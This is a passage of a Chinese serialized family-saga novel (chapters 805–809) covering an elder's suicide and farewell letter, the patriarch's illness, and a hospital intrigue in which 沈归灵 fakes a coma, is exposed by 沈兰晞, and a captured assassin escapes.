沈庄将铁盒塞给沈让,颤巍巍地撕开手里的信件。打开匆匆扫了一眼,只一眼,沈庄只觉眼前一黑,气血猛地倒灌上涌,耳边嗡鸣不止,整个世界都摇晃起来。 “爸!” “爸!” 沈让和沈谦见状大惊失色,慌忙一左一右扶住几乎软倒的沈庄。 沈庄死死攥着那页薄薄却重逾千钧的信纸,像是濒死之人抓住最后一根浮木。他转身看向老屋的方向,用尽全身力气朝着那扇刚刚离开的、吱呀作响的木门踉跄冲去。 沈让和沈谦不明所以,但老爷子瞬间惨白的脸色和眼中巨大的惊惶让他们心下一沉,立刻紧随其后。 沈庄冲到老屋前,那扇斑驳的木门紧闭着,隔绝了内外,静得可怕。 他缓缓抬手,动作却因极致的恐惧而僵滞,指尖颤抖得厉害,竟一时推不开那扇并不沉重的门。 “阿兄……”他嘶哑着喉咙喊了一声,声音沉重而颤抖。 过了片刻,里面没有任何回应。死一般的寂静从门缝里丝丝缕缕地渗出来,冰冷彻骨。 沈让一步上前,“爸,我来……” 话音未落,沈庄不知从何处爆出一股力气,猛地撞开了房门! 午后的阳光被撕开的门洞切割,斜斜地照进屋内,尘埃在光柱中疯狂舞动。 光影之下,沈钧的身影清晰地映入眼帘。 他静静地悬在房梁之下,穿着一身浆洗得发白的旧式长衫,头发梳理得一丝不苟。一根粗糙的麻绳勒过苍老的脖颈,另一端系在那根他们年少时曾一起爬过的、褪色的房梁上。 他的身体微微随着撞开门的气流轻轻晃动着,投下令人心悸的阴影。头颅低垂,面容平静得近乎安详,仿佛只是终于卸下了千斤重担,沉沉睡去。那双总是盛着温和与坚韧的眼睛紧闭着,再也不会睁开。 “伯父!!!” 沈谦和沈让怎么都没想到推开门竟然看见的是这样一幕,惊愕过后,下意识地看向沈庄。 沈庄眼里布满血丝,目光闪烁着,一步步慢慢地走向沈钧…… * “你们放我出去!你们凭什么关我?你们这是非法囚禁,还有没有国法了!” 沈航被关在老宅废弃的库房,因为他行为癫狂,沈家族人怕闹出什么事,把他直接绑在了一条旧木凳上。 此时的沈航已经快要被逼疯了。他知道以沈庄的性子一定不会帮他把孩子找回来,所以他索性破罐子破摔,自欺欺人地认为,只要让李家看见他的忠心,他的孩子说不定还能过得好一点。 “砰——” 库房沉重的木门被人从外面猛地推开。 刺眼的阳光瞬间涌入,照亮了空气中飞舞的尘埃。 沈航被光线刺得眯起了眼。逆光中,一道身影站在门口,如同一尊冰冷的石碑。 “松开他。”沈庄的声音嘶哑,带着一种仿佛被砂纸磋磨过的疲惫。 身后的族人愣了一下,似乎有些犹豫,但在沈庄冰冷的目光下,还是上前解开了沈航身上的绳索。 沈航揉着被勒出深痕的手腕,正想冷笑几声,再说几句狠话。可没等他开口,一件粗糙冰凉的白布劈头盖脸地扔到了他身上,散落在他膝头。 是一件叠得整齐的、用粗麻制成的……孝衣。 他猛地抬头,这才看清沈庄穿着黑色长衫,左胸口处赫然别着一朵醒目的白花。 “……”沈航忽然感应到了什么,低头看着膝上那件刺眼的孝衣,表情怪诞,“这是什么意思?谁死了?沈钧死了?那老不死死了?” “不……不可能……”忽然,他又开始喃喃自语,恶狠狠地瞪着沈庄,“我不过就是咬了他一口,他怎么会死?” 沈庄冷冷地看着他,没有一句解释。 沈航扯着嘴角,笑了笑,含着眼泪神情癫狂,“死了好,死了活该!沈庄,你现在是不是很得意啊,我们一家像狗一样替你卖命,你是不是很得意啊!啊啊啊!” 不等他说完,沈庄直接将手里的信对着他的脸砸了上去。 “你父亲临终前让我交给你的。看不看,你自己决定。” 说完,沈庄转身出了库房。 阳光从门缝穿过,风轻轻吹开信笺一角。 沈航忽然看到许多熟悉的字迹,脸色骤然错愕。 几个月前,沈钧将家里几个小辈叫到跟前,告诉了他们沈航被蒙蔽与外人勾结的事情。他问孩子们,他们打算怎么办? 孩子们说:“以身入局,方可胜天半子。” 所以,他们不是被抛弃的。他们是明知深渊,却坦荡赴深渊,因为他们相信自己手握扭转乾坤的力量。 …… 第805章 君子可以欺之以方 初棠: 当你看到这封信的时候,我应该已经不在了,未尽之言便以锦书道完吧。 阿兄有愧,有三件事欺骗了你。 第一件事: 半年前,当我得知阿航竟是潜伏在家族的细作时,我将孙儿们唤到跟前,坦白了他们父亲的所作所为。值得欣慰的是,大树虽朽,逢春有芽,他们与阿航并不同心,所以我做了一个任意妄为的决定。 既然李儒可以布局三十年分化沈氏,那我们的人也可以渗进李家,孩子们自愿以身入局做家族暗刃,等到他们长大那天,必将像他们的族长先烈一样为家为国而战,携荣耀而归。 第二件事: 其实……当年我是故意表现出喜爱糖果,你将糖果塞进我的书包时,我都看得清清楚楚。 继母恶毒,若我不设法自救,终有一日会被溺亡在家中的水井里。我知你性子傥荡,嫉恶如仇,便以糖果为饵诱你入局。 我自以为神不知鬼不觉,但其实伯父早就看在眼里。可他并没有苛责我,反而更温和耐心地引导我,他说我有大智,若得以善用,家族大幸。 我不敢懈怠,守着这老屋便是时时惊醒自己,不要辜负当年少年的赤子之心。 我曾想过与你坦白,但又怕你生了嫌隙,故而一直藏在心里。 今日提起,是因为昨日忽然翻到一本旧书,书曰:“君子可以欺之以方。” 在我心中,你便是如此。 第三件事: 抱歉,说会等你回来是骗你的,原谅阿兄这次吧。前路漫漫,阿兄老了,恕不能相伴同行了。 沈钧绝笔。 * 沈庄站在老旧的庭院前,仰着头看着眼前这一方天地。 他是万万没想到,沈钧竟布下如此决绝的棋局,就连他都蒙在鼓里。 君子可以欺之以方。 未尽之言,都藏在这八个字里。 他用自己的命,为沈家换来另一个“沈钧”。 “吱呀——” 身后的木门缓缓推开,榫卯相互摩擦发出年久失修的嘎吱声。 一道身影从门槛跨过,阳光毫无遮挡地照在他身上,那身粗麻孝服白得刺目。 沈航望着沈庄的背影,撩起孝衣下摆,屈膝,“噗通”一声,直挺挺地跪了下去。 他俯下身,额头重重地磕在冰冷坚硬的石面上。 “砰!” 一声钝响,是血肉之躯与无情的石头碰撞的声音。 “沈航……知错!” 沈庄没有回头,抬起头面对这四方天地,沉痛地闭上了眼。 沈钧以一死换回了他想要的儿子,他虽已老去,却以另一种形式护着沈家前行。 人最大的愚昧,便是撞了南墙才回头。 片刻后,沈庄缓缓睁眼,将沉重的哀思藏于眸底,淡淡道:“去为你父亲守灵吧。如今,四房只剩你了,别让他走得太冷清。” 话音刚落,沈航匍匐在地哀恸大哭,愧疚与自责成为了这座沉寂老宅里唯一的声响。 * 沈钧自缢的消息传回鲸港时,整个沈园都蒙上了一层淡淡的阴霾。 沈娇不敢怠慢,当即带着家里三个女孩儿出发前往襄英。 这次,车里不同往常一样充满欢声笑语,大家都默契地保持着沉静。 尤其是姜花衫,得知沈钧的死讯,她比任何人都难受。 因为他的死无时无刻不在提醒她,她不是万能的。即便她知道这个世界很多的真相,但依旧无法做所有人的救世主,不是每次的结果都能像改写沈娇结局一样幸运。 死亡让她再一次深切地感受到,所谓的剧目,是他们努力生活的真实世界。 * 武太奶的坟前,又添了一座新坟。 操持完沈钧的葬礼,沈庄彻底病倒了。 这一场病来得凶猛异常,仿佛将他积攒了数十年的疲惫全都勾扯出来,化作沉疴,重重地击垮了这位素来刚强的老人。 夜里,老爷子突然发起了高烧,昏昏沉沉的一直说胡话,这可把沈家人吓坏了,连夜把孟医生请来襄英治疗。 沈庄就是沈家的定海神针,他如果出了事,眼下沈家青黄不接,肯定是要出大乱子的。 翌日。 沈谦快步穿过堂屋,刚过四房小院就和沈渊碰了个正着。 两人自从沁园大打出手后,生分了许多。沈谦冷着脸,只当没看见,目不斜视直接越过。 沈渊神色微怔,犹豫片刻主动跟上前,“大哥。” 沈谦充耳不闻。沈渊见状,快步绕上前拦住他的去路,“老爷子病成这样,你有什么打算?” 沈谦掀眸瞥了沈渊一眼,“我能有什么打算?拜你所赐,我现在可是全鲸港的笑话。倒是你,苦心经营了这么久,是不是终于要按捺不住了?” “……”沈渊哪会听不出沈谦的阴阳怪气,皱了皱眉,“我已经跟你解释过了,阿灵和阿年的事与我无关!大哥,我们好不容易把三房打压下去,难不成你真要为了那些子虚乌有的事与我决裂吗?” “沈渊。”沈谦转过身,终于给了沈渊一个正眼,“从今天起,你是你,我是我。二房再没有‘我们’。” 沈渊愣了愣,还没反应过来,沈谦已经转身进了主院。 沈渊垂眸,站在原地沉默了半晌,也跟着进了主院。 院子里来了不少看望沈庄的人,但统统被孟医生拦在了门外。 沈娇带着姜花衫三人在凉亭歇脚,见沈谦和沈渊一前一后进来,不觉冷笑了一声。 利益果真是个好东西,竟然让这两个狼狈为奸的蠢货散伙了。 沈谦抬眸,往凉亭方向看了一眼,迟疑片刻,径直走了过去。 沈娇眼里的讥诮还没来得及撤回,冷不丁看见沈谦朝着这边走了过来,顿时警铃大作。正当她准备进入“超级对抗”模式时,沈谦却自来熟般挨着旁边的石墩坐下,和蔼可亲地看着姜花衫。 “衫衫,见过老爷子了?” 姜花衫正和傅绥尔说悄悄话,冷不丁被搭话,一脸莫名其妙地看着沈谦。 她可不记得自己什么时候跟沈谦关系这么好了。 沈谦轻叹了一声,眼里的温和都要滴出水来了,“武太奶和伯父都走了,老爷子只怕是悲痛欲绝伤了心脉。他平日里最喜欢你,你多陪陪他说说话,指不定就好了。” 姜花衫皱了皱眉,默默点了点头。 沈谦站起身,又转眸看向沈娇,“鲸港那边要召开国会议程,我必须回去。这几日父亲就辛苦你照顾了。” “……”沈娇一脸无语。 沈渊后脚跟进院子,恰好就看见沈谦和三房在凉亭里叙话,不觉沉了脸。 …… 第806章 多事之秋 这时,院子里传来一声轻微的吱呀声,孟医生从主屋里走了出来。 一时间,所有人的目光都聚焦过去,哗啦一下全都围了上去,七嘴八舌地询问起来。 “孟医生,老爷子怎么样了?” “烧退了吗?人清醒过没有?” “到底什么情况,您给句准话啊!” 孟医生脸上带着难以掩饰的疲惫,他抬手捏了捏紧皱的眉心,示意大家安静。他抬眸看向沈家几位主事人,沉声道:“高烧暂时退下去一点,但还在反复,人没完全清醒,时睡时醒,说胡话。” 听说高烧退了,沈娇的脸色缓和了许多。 “老爷子这是急火攻心,哀思过甚,加上年事已高,元气大伤。眼下最要紧的是静养,不能再见风,更不能受任何刺激。你们……”他的目光在明显气氛不睦的众人身上停顿了一下,“家里的事,务必稳妥处理,别再生出任何事端传到老爷子耳朵里。他现在,经不起一丁点折腾了。” 众人脸色各异,相互看了看,没有接话。 姜花衫走到人群前,“现在我们可以进去看爷爷了吗?” 孟医生点头,“可以,一次别进太多人,保持安静。” 姜花衫二话不说,转身就往主屋走去。 “诶!”沈渊万万没想到这丫头胆子这么大,装都不装一下,这里这么多长辈都等着见老爷子,就算排队也轮不到她一个养女吧? 傅绥尔见状,立马跟了上去。 沈渊见众人竟无一阻拦,都急着要进屋探视情况,不由捏了捏眉心。看样子,经过上次沁园的事,姜花衫在沈家的地位已然无人能够动摇了。 一天很快就过去了,老宅也亮起了星星点点的灯火。 生了病的沈庄就像个孩子,昏睡的时候嘴里一直断断续续说着胡话。沈娇因为不放心旁人照顾,在主卧旁搭了个小床,寸步不离地守在床前,每每听见沈庄呓语,便会轻轻拍打老人的手背,低声安抚。 灯光微暖,姜花衫看着窗下投射的相依剪影,眼里噙着淡淡的感动。 上一世,沈娇比所有人都走得早,是她守在爷爷身边。她记得,爷爷在梦里喊得最多的就是沈娇的名字。这一世,原本该只在梦里出现的人还真切地陪在爷爷身边,这已是值得感恩的事了。 傅绥尔见姜花衫望着里屋愣神,眼中还闪着些许泪光,以为她在担心沈庄,一把揽过她的肩膀,宽慰道:“放心吧,咱们的爷爷可是个大英雄,他才不会被这小小的病痛打倒呢。” 姜花衫笑了笑,“我知道。” 上一世沈庄病得比这次还严重,足足昏迷了三天高烧都没有退下,这是原剧目里既定的剧情。既然无法改变沈钧的死,那么这场大病就无可避免。 “哎~最近可真是多事之秋啊。”傅绥尔轻叹了一声,依旧揽着姜花衫的肩膀,“不知道兰晞哥他们怎么样了?” * S国。 皇家医院VIP病房。 沈清予双手抱胸,一脸嫌弃地指着昏迷的沈归灵,“喂!你们医术到底行不行?他到底什么时候能醒过来?能不能给句准话?” 主治医生普拉擦了擦额头的冷汗,一时不知该如何回答。 这位医生是S国最负盛名的内科专家。沈归灵转入皇家医院的第一天,院方就推掉了他手头所有其他病人,要求他务必倾尽所能保证沈归灵的安全。 在S国,皇家医院的权威非同一般,贵族通常也难以干预。能如此力保沈归灵的人,定然是位极为了不起的大人物。 普拉医生心知肚明,已然使出了一百二十分的力气,不敢有丝毫怠慢。可不知是哪里出了问题,病人一直昏睡,完全没有要醒来的迹象。这不禁让他对自己这几十年的医术产生了深深的怀疑。 “问你话呢?!”沈清予的嚣张态度引起了另一位医师的不满。 “病人家属,如果您对普拉医生的医术存有质疑,现在就可以为病人办理转院手续。” 普拉医生正纠结问题究竟出在何处,冷不丁听见这话,吓得寒毛都竖起来了。 不能转院! 若是让幕后那位大人物知道他没能救活病患,下一个躺在这儿的恐怕就是他自己了。 普拉连忙拦下助手,用S语急切地说道:“昏迷的情况有很多种,病人身体指标已无大碍,理论上应该很快就会苏醒。皇家医院拥有S国最顶尖的医疗资源,请您放心,我们有把握让沈先生康复如初,只是还需要一些时间观察。请您再给我们几天时间。” 沈清予根本不需要翻译,直接流利地用S语回道:“我再给你们一天时间。要是还弄不醒这傻逼,你们就全都别干了!” 医生们何曾受过这等委屈,面面相觑,脸上皆露出不满,但最终还是在普拉医生的连声应承下不了了之。 一群人刚离开,沈兰晞便推门走进了病房。 沈清予瞥了他一眼,转身落座沙发,“隔壁那个怎么样了?死了没?” 沈兰晞眼皮都未抬,径直走到沈归灵床前。他那黑曜石般的眸子注视着昏迷的人,泛着淡淡的冷光,“两颗子弹都击中了要害,按理说绝无生还可能,但……” 沈清予嘴角抽了抽,“怎么?皇家医院也上演医学奇迹了?” 沈兰晞:“内出血已经止住了。医生说照这个情况发展,没几天或许就能醒。” 沈清予盯着沈兰晞看了一眼,目光又落回沈归灵脸上,“你一直看着他做什么?他脸上有花?” 沈兰晞转眸,面无表情地扫了沈清予一眼,转身绕过沙发,与他对面而坐。 “那个杀手审过了?” 沈清予摇了摇头,一脸唏嘘:“忠仆啊!挨了郑松结结实实三拳,内脏估计都移位了,硬是半个字都没吐出来。” 沈兰晞:“查到她背后的人是谁了吗?” 沈清予顿时眼睛一亮,露出一个意味深长的笑:“还真查到了。不过……她的身份有点吓人!” 沈兰晞:“你同父异母的姐姐?” “……”沈清予丹凤眼微眯,扯了扯嘴角,怒极反笑,“你个傻逼,她是亲王白冕生前收养的孤儿。” …… 第807章 攻防互博 这倒是远远出乎沈兰晞的意料。 他微微皱眉,终于施舍给沈清予一个正眼:“你怎么知道的?” 明明刚刚还说那女杀手一个字都不愿透露,此事关乎王室秘辛,按理说不该这么快就查出来。 “你这是什么眼神?” 沈清予冷笑,“要是靠你身边那个死鱼眼,当然没这么快。但我是谁?这种小事能难倒我?” 沈兰晞只当没听见,姿态优雅地给自己倒了杯水。 沈清予最看不惯的就是沈兰晞这副高高在上的德行,他越是不想听,自己就偏要把话说出来得瑟:“敢在 S 国下这种黑手,背后之人的身份绝对不简单。沈归灵与王室有仇,沈年又和李家牵扯不清,我就先从这两家下手了。” “你猜怎么着?” 沈兰晞垂着眼睑,眼底噙着淡淡的眸光,冷得仿佛与周遭不在一个维度。 沈清予也不在乎他的冷淡,自顾自往下说:“我还真在过往白家曝光的资料里找到了线索 ,那女人是索菲战乱中的孤儿,白冕亲王清扫战场时捡到了她,之后便收养在身边。虽说是几十年前的报纸,报纸上的女孩也不过五六岁,但通过技术恢复,基本能确定就是射杀沈年的杀手。” 沈兰晞放下茶盏,神色未变:“白冕的人,怎么突然跑来暗杀沈年?” 沈清予笑了笑,双手插兜站起身,对着沈兰晞露出一个极其挑衅的笑容:“你猜啊,傻逼!” 沈兰晞抬眸,面无表情地看着他。 沈清予双手一摊,露出奸计得逞的笑容:“拜拜~” 沈兰晞:“……” * 夜深人静。 皇家医院 VIP 病房区的走廊空无一人,只有护士站微弱的地灯散发着柔和的光晕,映照着冰冷光滑的地面。 病房内,各种精密医疗仪器发出规律而低沉的嗡鸣,屏幕上跳动的绿色线条与数字,是这黑暗中唯一跃动的生命迹象。 忽然,病床上的人眼睑动了动,毫无征兆地坐了起来。 他偏头摸了摸脖子,掀开被子下床,悄无声息地走到门边。月光透过百叶窗的缝隙,在那张近乎神迹的脸上投下明明暗暗的光影。 确认走廊外没有动静后,沈归灵翻身折回病床,弯腰在床板后摸索片刻,取下了绑在床垫后的手枪与装备 —— 这些东西,是莫然来看望他时偷偷放的。 沈年已经听到白家人唤他 “殿下”,这个秘密,绝不能让沈年活着带回沈园。 沈归灵换上黑色迷彩服,熟稔地卸下弹夹,确认子弹充裕后,“咔哒” 一声推回弹夹,将手枪利落地别在后腰。随即,他单手撑住窗台,悄无声息地翻了出去,矫健的身形几乎与深邃夜色融为一体。 VIP 病房区另一端的走廊更为幽深,守卫似乎也更加森严。 沈归灵如同鬼魅般避开所有监控与夜间巡逻的保安,精准地找到了沈年所在的病房号。 门扉紧闭。 就是这里。 沈归灵眼神一凛,手无声地摸向腰后的枪柄,正要向前推进,忽然感到身后传来一道冷风。他眼底闪过一丝锋利的光,几乎是本能地就要拔枪回身! 身后之人没想到他反应这么快,几乎要拍上他肩膀的手立马向上举起,嘴角没了惯有的嘲讽,摆出一副玩世不恭的投降姿态。 沈归灵淡淡扫了他一眼,面无表情地收了枪,转身融进月色里。 沈清予轻嗤一声,回头看了眼身后的病房,大摇大摆地跟进了夜幕。 五分钟后,沈归灵按原路返回,刚跳进病房,衣服都没来得及换,房门就被人从外面推开了。 他似乎早有预料,眼皮都没抬,淡定自若地解开衣扣,当着来人的面换上病号服。 沈清予挑了挑眉,目光扫过沈归灵腰侧的人鱼线,没忍住吹了声口哨:“难怪爬窗都比我快,身材不错啊~阿灵哥没少练吧?” 沈归灵将换下的衣服塞进被单,转头打量眼前这蠢货:“有屁就放。” “啧啧啧!” 沈清予掩上门,摸着下巴把沈归灵从头到脚审视了一遍,“一年不见,怎么说话这么粗鲁?怎么,终于暴露本性了?爷爷不在,你连装都懒得装了?” 沈归灵笑了笑,给自己倒了杯温水,难怪他假装昏迷时,沈清予连一口水都不给他喝,原来早就知道他是装的。 沈清予见沈归灵这时候还有心思喝水,一脸嘲讽地拍了拍手:“不愧是自小看人脸色长大的,脸皮就是厚。阿灵哥,不打算解释一下吗?” 沈归灵慢条斯理地喝了一大口水,指尖沿着杯壁缓缓游走:“解释什么?” “解释什么?” 沈清予被逗笑了,“沈归灵,你嘴怎么这么硬?是不是哪天被捉奸在床,都要解释说自己硬不起来啊?” 沈归灵指尖微顿,抬眸的瞬间,嘴角牵扯出一抹笑意:“那倒不会,真有那么一天,我就认了。” 不知为何,沈清予莫名觉得沈归灵的笑容有些刺眼。 他眯了眯眼,转身走到沙发前坐下,双手抱胸看着沈归灵:“沈归灵,明人面前不说暗话,你为什么要杀沈年?” 沈归灵想了想,一脸真诚地说:“杀沈年?你是不是误会什么了?我刚刚不过是出去散了个步。” “…… 散步?” 沈清予万万没想到世上竟有如此厚颜无耻之人,咬牙切齿道,“散步你穿得跟个黑粽子似的,还带枪?你知不知道,沈兰晞刚刚就在那个房间里等着你?你只要露面,那傻逼能把你捶死,是老子救了你!” 沈归灵:“那就是了,你会这么好心?” 其实沈归灵早在回头看见沈清予的第一眼,就隐约猜到了其中关节,所以他才没有犹豫,立马收手返回。 沈兰晞要抓他,他并不意外,甚至觉得合情合理;但沈清予这个搅屎棍,向来热衷看他倒霉,如今突然跑来通风报信,反而更值得提防。 沈清予嗤笑一声:“对你,我当然没这么好心。算你走运,谁让小花儿让我帮忙呢?” …… 第808章 三傻一台戏 提起姜花衫,沈归灵嘴角的笑容淡了不少,连带着看沈清予也有几分不爽。 沈清予察觉到他情绪变坏,忽然心情愉悦,大发慈悲地说道:“实话告诉你,沈兰晞早就怀疑你了。他今天故意透露沈年要醒的消息,就是想引你露出破绽,抓个现行。” 沈归灵神色淡淡,完全看不出情绪。 沈清予又道:“沈归灵,要不你跟我说实话吧?我和沈年并不亲近,只要你能给我一个合理的解释,我帮你解决沈兰晞这个麻烦,怎么样?” 沈归灵思忖片刻,端着水杯与沈清予对峙着坐下,“你想听什么实话?” 沈清予:“为什么要杀沈年?还有,你为什么会和白家王室的人有牵连?” “我杀沈年是为了自保。他先派人暗杀我的,我不过是反击而已。至于你说的白家王室,我杀了白峥,他们来找我的麻烦,就这么简单。”沈归灵几乎没有思考,脱口而出。 沈清予斜睨了他一眼,“你当我傻啊?拿这种漏洞百出的解释来敷衍?你如果是为了自保,现在你已经安全了,为什么还要冒险去暗杀沈年?至于白家人,他们既然是来找你的麻烦的,为什么最后中枪的是沈年?皇家亲卫的枪从不虚发。” 沈归灵抬眸看向沈清予,昏暗的光线巧妙地遮掩了两人各自眸底翻涌的暗流。 “这就是我的解释。你不接受,我也没办法。”他笑了笑,一副很是惋惜的样子。 沈清予早知道沈归灵不是那么好拿捏的人,他也没指望一两句话就能套出有用的消息。他站起身,语气寻常:“别以为你不说,我就查不出来。” 沈归灵挑眉,“这就走了?” 沈清予偏头,一脸嫌弃地看着他,“怎么?你还有屁要放?” 沈归灵眉头微蹙,盯着他打量,“不打算告诉沈兰晞?” 沈清予扯了扯嘴角,上扬的眼角微挑,“不了!谁让我答应小花儿要把你带回去呢?” 他摆摆手作别,刚走两步,忽然想到什么,又回过头,笑容明媚且刺眼:“哦,对了!你不在沈园的时候,爷爷发话了,不会打鸣的公鸡不要占位。阿灵哥,希望你好好反省。” “……”沈归灵掀着眼皮,黑曜石般的眸子静静看着他。 沈清予双手一摊,转身拉开了房门。 门缝透光的一瞬间,他嘴角还挂着的笑忽然僵住。 过道的灯光泛着冷白的光晕,但再冷,也冷不过此刻沈兰晞眼中的眸光。 事情发生得太突然,沈清予愣了愣,回头往屋里看了一眼,极度不自然地开口:“你怎么在这?” “让开。” 沈兰晞完全没有搭理沈清予的意思,一手抵着门板,将房门开到最大。 屋里视线幽暗,但仍能清晰看见有人正坐在沙发上喝水。 沈兰晞淡淡扫了沈清予一眼,径直走进屋里。他的目光在敞开的小窗上停留了片刻,才转回到沈归灵身上。 “什么时候醒的?” 沈归灵虚握拳头抵着淡色的嘴唇,轻轻咳嗽了一声,“刚刚。” 沈清予双手抱胸倚着门板,斜睨着眼角看沈归灵演戏,不得不承认,这狗东西的脸皮真是厚得没边了。 沈兰晞回头看向沈清予,“你怎么会在这?” 沈清予吊儿郎当地翻了个白眼,“你管我?我爱在哪在哪!” 沈兰晞不置一词,转头走到病床前,一把掀开白色的床单。月光下,黑色的阴影随之移动,被单飘落的瞬间,赫然露出了底下刚刚卸下的手枪和装备。 “啧!”沈清予事不关己地耸耸肩,爱莫能助地冲沈归灵摇了摇头。 果然,沈兰晞就没这么好骗。 沈兰晞转身,清冷的眸光里依旧看不出任何情绪,但那种无形的压迫感却瞬间充斥了整个病房。 他指向床上那堆突兀的黑色物件,声音平稳却带着不容置疑的质问:“刚刚醒来,为什么会有这些东西?” 空气仿佛在这一刻凝固了。 沈归灵压下眸底翻涌的暗流,面上却不见丝毫慌乱。他甚至慢条斯理地又呷了一口杯中微凉的水,仿佛沈兰晞指着的不是致命武器,而是什么无关紧要的杂物。 温水滑过喉咙,他这才抬起眼,目光平静地迎上沈兰晞的审视。昏暗的光线在他浓密的睫毛下投下一小片阴影,让人看不清他眼底最真实的情绪。 “这个啊,”他放下水杯,语气平淡得像在讨论天气,“是莫然给我的。所以,你不应该问我,应该去问莫然。” 他顿了顿,像是才想起什么,补充道:“哦,对了!容我提醒兰晞哥一下,莫然是我父亲的人,所以我猜……应该是我父亲授意的吧?我什么都不知道呢,醒来的时候这些东西就在床上了。兰晞哥你来得正好,我正愁不知道该怎么处理这些东西,谢了~” “6!” 倚在门框上的沈清予闻言,几不可察地挑了挑眉梢,心里暗叹:狗东西,全身上下就数这张嘴最硬。 沈兰晞没有说话,只是静静地看着沈归灵,那目光锐利得仿佛要剥开他所有的伪装。 他隐约猜到沈归灵身上藏着秘密,但沈归灵做事滴水不漏,滑溜得如同泥鳅。虽然高止拍到了他出入李宅的证据,但那个时候沈归灵浑身带伤,根本不能证明他和李家有勾结。 可直觉告诉他,事情绝对没有这么简单。 病房里陷入一种极致的安静,只剩下窗外偶尔传来的细微风声和彼此间无声的较量。 沉默许久,沈兰晞再次开口,径直走到沈归灵面前,眸色沉静却不容拒绝:“既然你醒了,就帮忙去审问一下暗杀沈年的刺客吧。” 沈归灵闭眼,单手撑着额头,露出一副虚弱疲惫的样子:“抱歉啊兰晞哥,我刚醒,人还没缓过来,只怕心有余而力不足。等过几天我好一点再说吧。” “不能等了。”沈兰晞冷冷打断他,“堂伯父自缢,爷爷病倒了,没时间了。” 话音刚落,沈归灵脸色蓦地一怔,就连一直看戏的沈清予也瞬间变了脸色。 沈兰晞转过身,低垂的眸光明灭不定:“爷爷交待,务必让我把人都带回去。你一直昏迷,所以我已经提前把沈年送回去了。算算时间,现在……应该已经到鲸港了。” 沈归灵眼睑缓缓上扬,抬眸,对上了沈兰晞深不可测的视线。 …… 第809章 殿下,我叫安缇 所以……沈兰晞早就知道他是假装昏迷,故意在他床前透露沈年的消息,为的就是引他入局? 沈归灵唇角缓缓勾起一丝冷冽的弧度,眼底不见半分笑意。“兰晞哥真是好手段。” 沈兰晞神色未变,只淡淡一瞥,“现在有时间审问了?” “当然。” 沈年都不在了,他的时间可不就多的是? 沈归灵将手中的水杯不轻不重地搁在桌上,发出一声清晰的脆响。他抬眼时眸光清浅,似笑非笑,“带路吧。” 沈兰晞扫过他一眼,转身走在前面。经过沈清予身侧时,他脚步未停,一双矜贵的冰眸微抬,目光如薄刃般掠过,带着不容错辨的警告。 沈清予可不是被人吓大的?当即唇角一扯,溢出一声嗤笑,双手插兜,迈开六亲不认的步伐,不紧不慢地跟了上去。 * 审问室隐匿在宅邸深处,空气里弥漫着消毒水和铁锈混合的冷冽气味。唯一的灯光从头顶倾泻而下,在白炽的照射下,空气中漂浮的微尘都无所遁形。 安缇被束缚在房间中央的金属椅上,手腕上扣着特制的禁制锁。她垂着头,长发遮掩了面容,只有略微起伏的肩线显露出一丝活气。 铁门发出吱呀的声音,沈兰晞率先进屋,屋里早已经备下了三张桌椅。 沈兰晞没有过问的意思,径直走到椅子前优雅落座,仿佛眼前不是审讯,而是一场即将开幕的戏剧。 “装货。” 沈清予低声嗤笑,自己也像个“装货”似的重重拉开椅子,翘起腿,一副幸灾乐祸的模样紧盯着沈归灵。 其实两人都心知肚明沈归灵藏有秘密,只是没有证据,说什么都没用。 而沈归灵正是倚仗这一点,从容不迫地踱至安缇面前。他的身影如山倾覆,缓缓将她笼罩。他没有急着开口,而是用一种近乎审视物件的漠然目光打量着眼前的女人。 “你叫什么名字?” 安缇极轻微地颤了一下,仍未有抬头的意思。 “啧,”沈清予拧紧眉头,满脸不耐,“你会不会审?搁这儿交朋友呢?哪有一上来问名字的?” 沈归灵侧过半张脸,声音平稳无波:“那你来?” 沈清予一时语塞,憋着气撇开视线。 沈归灵转回脸,深邃的眼眸中暗流涌动,看不清情绪。“你认识我?” 沈清予终于没忍住,朝着他背影狠狠翻了个白眼,压低声音吐槽:“他是不是有病啊?” 沈兰晞静坐一旁,如同置身事外的观众,冷眼旁观着眼前的一切,未置一词。 安缇依旧低垂着头,毫无反应。 沈归灵蹙眉,转身面向沈兰晞,语气淡然:“问不出来。” 沈兰晞轻轻挑眉,眼中掠过一丝不易察觉的错愕。他这位弟弟向来善于周旋,如今出了A国,竟是连表面功夫都懒得做了? 沈清予难得目睹沈兰晞吃瘪,一时没忍住,捂着肚子笑得肩膀直抖,看来沈兰晞想抓沈归灵的尾巴,也没那么容易。 沈兰晞迅速恢复一贯的冷静,起身说道:“既然问不出,也就没有留下的价值了。高止。” “是。”守在门外的高止应声推门而入。 沈兰晞声音冷澈,不留余地:“处理掉。” “是。” 高止面无表情地走向安缇,金属椅脚与地面摩擦发出刺耳的声响。他俯身,正准备解开那特制的禁制锁—— 突然!上一秒还如同傀儡的安缇猛地抬起了头,她的眼中没有恐惧,骨骼如异形扭曲,胳膊反转利用捆绑的绳索一把勒住了高止的脖子。 高止一时不察眼前一黑,等反应过来的时候,安缇已经翻身,将他反勒在审讯的椅子上。 事情转变的太快,对面三人脸色骤变,正要上前,安缇撩动舌尖,从嘴里吐出一根极细的尖针,那枚尖针无比精准射向头顶惨白刺目的白炽灯。 “砰——啪!” 一声刺耳的爆裂声炸响!灯泡瞬间粉碎,玻璃碎片如雨般四溅,整个审问室彻底陷入了伸手不见五指的黑暗,只有空气中弥漫开一股淡淡的焦糊味。 “操!”沈清予在黑暗中发出一声惊骂。 “拦住她!”沈兰晞冰冷的声音几乎同时响起,带着一丝被意外激怒的厉色。 然而,还是慢了一瞬。 “吱呀——” 铁门被猛地拉开又重重撞在墙上,一道模糊矫健的身影如同挣脱牢笼的猎豹,瞬间融入了门外更为幽暗的长廊阴影之中。 审问室内一片混乱。走廊外微弱的光线透过门缝渗入,隐约勾勒出几个站立的人影。 高止似乎挣扎着站了起来,语气狼狈,“少爷,她跑了。” 沈兰晞冰冷的脸上仿佛结了一层寒霜,微弱的光线下一双黑眸滟潋幽深。 “她跑不了,去找。” * 沈归灵并未参与那场注定徒劳的追捕。他悄无声息地退离了混乱的审问室,重新回到了那间弥漫着淡淡消毒水气味的病房。 门在身后合拢,隔绝了外界的喧嚣,室内只余下一盏昏暗的壁灯,在墙角投下模糊的光晕。 他并未开灯,径直走向沙发坐下,声音平静无波,仿佛早已料到:“出来吧。” 阴影蠕动,从厚重的丝绒窗帘后方,悄然转出一道矫健的身影。 黑影正是逃跑的安缇。 她依墙而立,呼吸已调匀,只是那双眼睛,在昏暗中亮得惊人。 